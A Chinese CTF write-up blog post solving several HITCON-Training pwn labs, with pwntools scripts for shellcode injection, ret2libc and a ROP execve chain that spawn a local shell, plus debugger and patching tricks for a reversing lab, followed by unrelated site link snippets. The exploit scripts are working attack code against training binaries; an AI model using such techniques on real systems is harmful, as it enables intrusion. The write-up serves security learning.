0x01.lab3

首先checksec一下,发现连NX保护都没开,结合题目提示ret2sc,确定可以使用shellcode得到权限。

IDA查看伪代码

大致分析:

将shellcode写入name数组,v4溢出之后定向至name所在地址从而运行shellcode。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import * elf = ELF('./ret2sc')
io = process('./ret2sc') io.recvuntil(':')
payload1 = asm(shellcraft.sh())
io.sendline(payload1) io.recvuntil(':')
name_addr = 0x0804A060
payload2 = flat(['a' * 0x1C + 'f**k' , name_addr])
io.sendline(payload2) io.interactive()

0x02. lab4

大致分析:

首先checksec一下,发现开了NX保护,但是没开栈保护,于是栈溢出。

IDA查看伪代码

一开始认为这是再也普通不过的代码...后来才知道大有玄机。

第一:see_something这个函数可以将你输入的地址找到其在运行中的真实地址,这很重要。

第二:像read,puts这样简单的函数可以被用来寻找“偏移量“。

解题思路:

首先获取libc库的版本,在M4x学长的指导下了解到ldd这个命令。

得到libc版本及所在位置:libc.so.6 & /lib/i386-linux-gnu/libc.so.6

然后就是得到偏移量,计算出system函数和“/bin/sh”字符串的真实地址,获取shell。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import * io = process('./ret2lib')
elf = ELF('./ret2lib') libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next() puts_got = elf.got['puts']
io.recvuntil(':')
io.sendline(str(puts_got))
io.recvuntil('0x')
puts_addr = int(io.putsuntil('\n'),16)
#print puts_addr offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh_addr = binsh_libc + offset io.recvuntil(':')
payload = flat([ 'a'*60 , system_addr , 0xdeadbeef , binsh_addr ])
io.sendline(payload) io.interactive()
io.close()

0x03. lab5

这题开的保护和上题一样,不过思路相差甚多。由于我也只用了一种方法,在这里就记录一下。

小知识:

寄存器中有eax,ebx,ecx,edx等。

Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数。

解题思路:

有了前面的知识的了解,可以大致知道解题过程。

我们需要调用的是system函数,其调用号为0xb,于是eax里存放的就是0xb;

接下来应该有三个参数,其中ebx = “/bin/sh", ecx = 0, edx = 0。但是有一个问题,32位寄存器只能存放4个字节大小的数据,而“/bin/sh”有7个字节。这里我们可以把“/bin/sh”存进.data段,ebx存放.data段的地址,从而达到目的。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import * io = process('./simplerop') eax_ret = 0x080bae06
edx_ret = 0x0806e82a
edx_ecx_ebx_ret = 0x0806e850
data_addr = 0x080EA060
gadget_ret = 0x0809a15d # mov dword ptr [edx], eax ; ret
int_0x80_addr = 0x080493e1 # 写入data段 # 第一句首先将read溢出至return,然后将对data_addr赋给edx,将“/bin”字符串赋给eax;
# 接着用gadget将eax的值赋给edx的值(即data_addr)的内容。
payload = flat(['a'*32, edx_ret, data_addr, eax_ret, "/bin",gadget_ret])
# 第二句作用类似。
payload += flat([edx_ret, data_addr+4, eax_ret, "/sh\x00", gadget_ret]) # 调用系统execve
# 这里执行之后的结果是:eax = 0xb, ebx = data_addr, ecx = 0, edx = 0
payload += flat([edx_ecx_ebx_ret, 0, 0, data_addr, eax_ret, 0xb, int_0x80_addr]) io.recvuntil(":")
io.sendline(payload)
io.interactive()

0x04 [HITCON-training] lab1

这题我用了三种方法,这里记录一下

方法一:当逆向直接做

这题如果当逆向做的话就很简单了,主要记录一个小技巧

来源:http://www.cnblogs.com/WangAoBo/p/7706719.html

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55" key1 = 'Do_you_know_why_my_teammate_Orange_is_so_angry???'
key2 = [7,073,25,2,11,16,61,30,9,8,18,45,40,89,10,0,30,22,0,4,85,22,8,31,7,1,9,0,126,28,62,10,30,11,107,4,66,60,44,91,49,85,2,30,33,16,76,30,66]
flag = ''
for i in range(len(key1)):
flag += chr( ord(key1[i]) ^ key2[i] )
print flag #CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

方法二:动态调试,使得我们输入的v2等于随机出来的buf

首先在函数get_flag和scanf处下断点

b *0x0804859B
b *0x08048712

运行,两次c(ontinue)后到达输入,随便输入一个数,这里我输入132,n(ext)。

然后发现,如果edx=eax,便可通过验证。

[----------------------------------registers-----------------------------------]
EAX: 0x84
EBX: 0x0
ECX: 0x1
EDX: 0x31f9d99
ESI: 0x1
EDI: 0xf7fb1000 --> 0x1b2db0
EBP: 0xffffd428 --> 0xffffd438 --> 0x0
ESP: 0xffffd3a0 --> 0x804a020 --> 0xf7e5dff0 (<setvbuf>: push ebp)
EIP: 0x8048720 (<get_flag+389>: cmp edx,eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048717 <get_flag+380>: add esp,0x10
0x804871a <get_flag+383>: mov edx,DWORD PTR [ebp-0x80]
0x804871d <get_flag+386>: mov eax,DWORD PTR [ebp-0x7c]
=> 0x8048720 <get_flag+389>: cmp edx,eax
0x8048722 <get_flag+391>: jne 0x8048760 <get_flag+453>
0x8048724 <get_flag+393>: mov DWORD PTR [ebp-0x78],0x0
0x804872b <get_flag+400>: jmp 0x8048758 <get_flag+445>
0x804872d <get_flag+402>: lea edx,[ebp-0x6f]

于是在运行到cmp处,

set $eax=0x31f9d99
或者 set $edx=0x84

然后一直n(ext)执行,便可在eax处看到flag的每一位(因为程序中是putchar,故只能一个一个看)。

方法三:将验证的地方patch

Edit->Patch program->Assemble: nop

0x05. 写在最后

这里主要想记录下如何寻找刚好能覆盖到return_addr的字节数,我用的是gdb-peda提供的pattern_create和pattern_offset。

以lab4为例:

首先在lab4目录下执行

root@libo:~/Desktop/HITCON-Training-master/LAB/lab4# gdb ret2lib
gdb-peda$ pattern_create 200
gdb-peda$ r

第一个输入点不是我们需要的,所以这里我输入的是main函数的地址134514045(十进制)。

第二个输入点输入之前pattern_create的字符串使其溢出,然后执行pattern_offset得到覆盖到return的字节数。

作者: LB919

出处:http://www.cnblogs.com/L1B0/

如有转载,荣幸之至!请随手标明出处;

HITCON-Training-master 部分 Writeup(12月11更新)的更多相关文章

  1. 2016年12月11日 星期日 --出埃及记 Exodus 21:6

    2016年12月11日 星期日 --出埃及记 Exodus 21:6 then his master must take him before the judges. He shall take hi ...

  2. 日常Git使用——2019年12月11日16:19:03

    1.git介绍 1.1 什么是git? 什么是Git? 比如一个项目,两个人同时参与开发,那么就把这个项目放在一个公共的地方,需要的时候都可以去获取,有什么改动,都可以进行提交. 为了做到这一点,就需 ...

  3. 北京Uber优步司机奖励政策(12月11日)

    滴快车单单2.5倍,注册地址:http://www.udache.com/ 如何注册Uber司机(全国版最新最详细注册流程)/月入2万/不用抢单:http://www.cnblogs.com/mfry ...

  4. 2016年12月11日 php面向对象

    面向对象 1.类(由众多对象中抽象出来的) 2.对象(一切皆对象,由类实例化出来的). 类: 求圆的面积 面向过程的方式 1.将圆抽象为一个类 2.实例化对象 class Qiu { var $ban ...

  5. [mock]12月11日

    给出一个二叉搜索树的先序遍历,要求重新构造出这个二叉搜索树.一开始给出了一个递归的算法,指出复杂度有更优的解法.然后想出来一个O(n)的算法,就是使用一个栈,然后依次判断新的节点比原来的大还是小,然后 ...

  6. Week14(12月11日):路由

    Part I:提问 =========================== 1.Visual Studio 2013自带ASP.NET MVC最高版本为(). A.3  B.4  C.5  D.6 2 ...

  7. Week16(12月23日):复习

    Part I:提问 =========================== 1.声明强类型视图时,使用关键字(    ) A.ViewBag    B.model    C.Type    D.Tit ...

  8. 微软Power BI 每月功能更新系列——12月Power BI 新功能学习

    Power BI Desktop12月产品功能摘要 Power BI 作为实力宠粉达人每月更新不来点新花样,怎么对得起翘首期待的实力铁粉您嘞!一起来看看这一次的Power BI版本的更新又给我们带来了 ...

  9. 2016年12月16日 星期五 --出埃及记 Exodus 21:11

    2016年12月16日 星期五 --出埃及记 Exodus 21:11 If he does not provide her with these three things, she is to go ...

随机推荐

  1. 一个让你想到即可做到的web弹窗/层----Layer

    Layer     layer是一款近年来备受青睐的web弹层组件,她具备全方位的解决方案,致力于服务各水平段的开发人员,您的页面会轻松地拥有丰富友好的操作体验. 在与同类组件的比较中,layer总是 ...

  2. 老的工程移植到AndroidStudio需要修改的注意事项

    之前老的工程用android-apt编译,如果要在新的AndroidStudio编译至少需要修改一下几部分: 1. 修改project里的build.gradle dependencies { cla ...

  3. JavaScript 中的对象引用

    ECMAScirpt 变量有两种不同的数据类型:基本类型,引用类型.也有其他的叫法,比如原始类型和对象类型,拥有方法的类型和不能拥有方法的类型,还可以分为可变类型和不可变类型,其实这些叫法都是依据这两 ...

  4. BZOJ-2463

    2463: [中山市选2009]谁能赢呢? Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 2321  Solved: 1711[Submit][Sta ...

  5. HDU 5783 Divide the Sequence (训练题002 B)

    Description Alice has a sequence A, She wants to split A into as much as possible continuous subsequ ...

  6. 远程连接SQL Server 2014遇到的问题和解决

    在本机可以通过IP地址的数据库引擎登录数据库,可用同网段的其它电脑远程登录一直不成功.查看网上资料,认为是主机防火墙的问题. 在微软网站上查找相关的文档找到了答案.http://msdn.micros ...

  7. js with用法

    有标签的语句 with 语句用于设置代码在特定对象中的作用域. 它的语法: with (expression) statement 例如: var sMessage = "hello&quo ...

  8. sublime中配置Java 环境

    1.线安装jdk,并配置好环境变量2.创建批处理或Bash Shell脚本文件打开任意的文本编辑器,输入下面的内容,并保存为runJava.bat文件,然后把runJava.bat批处理文件移动到JD ...

  9. n! 进制

    n! 进制 Time limit per test: 1.0 seconds Time limit all tests: 1.0 seconds Memory limit: 256 megabytes ...

  10. Spring ioc与aop的理解

    一 spring的特点 1.降低了组件之间的耦合性 ,实现了软件各层之间的解耦 2.可以使用容易提供的众多服务,如事务管理,消息服务等 3.容器提供单例模式支持 4.容器提供了AOP技术,利用它很容易 ...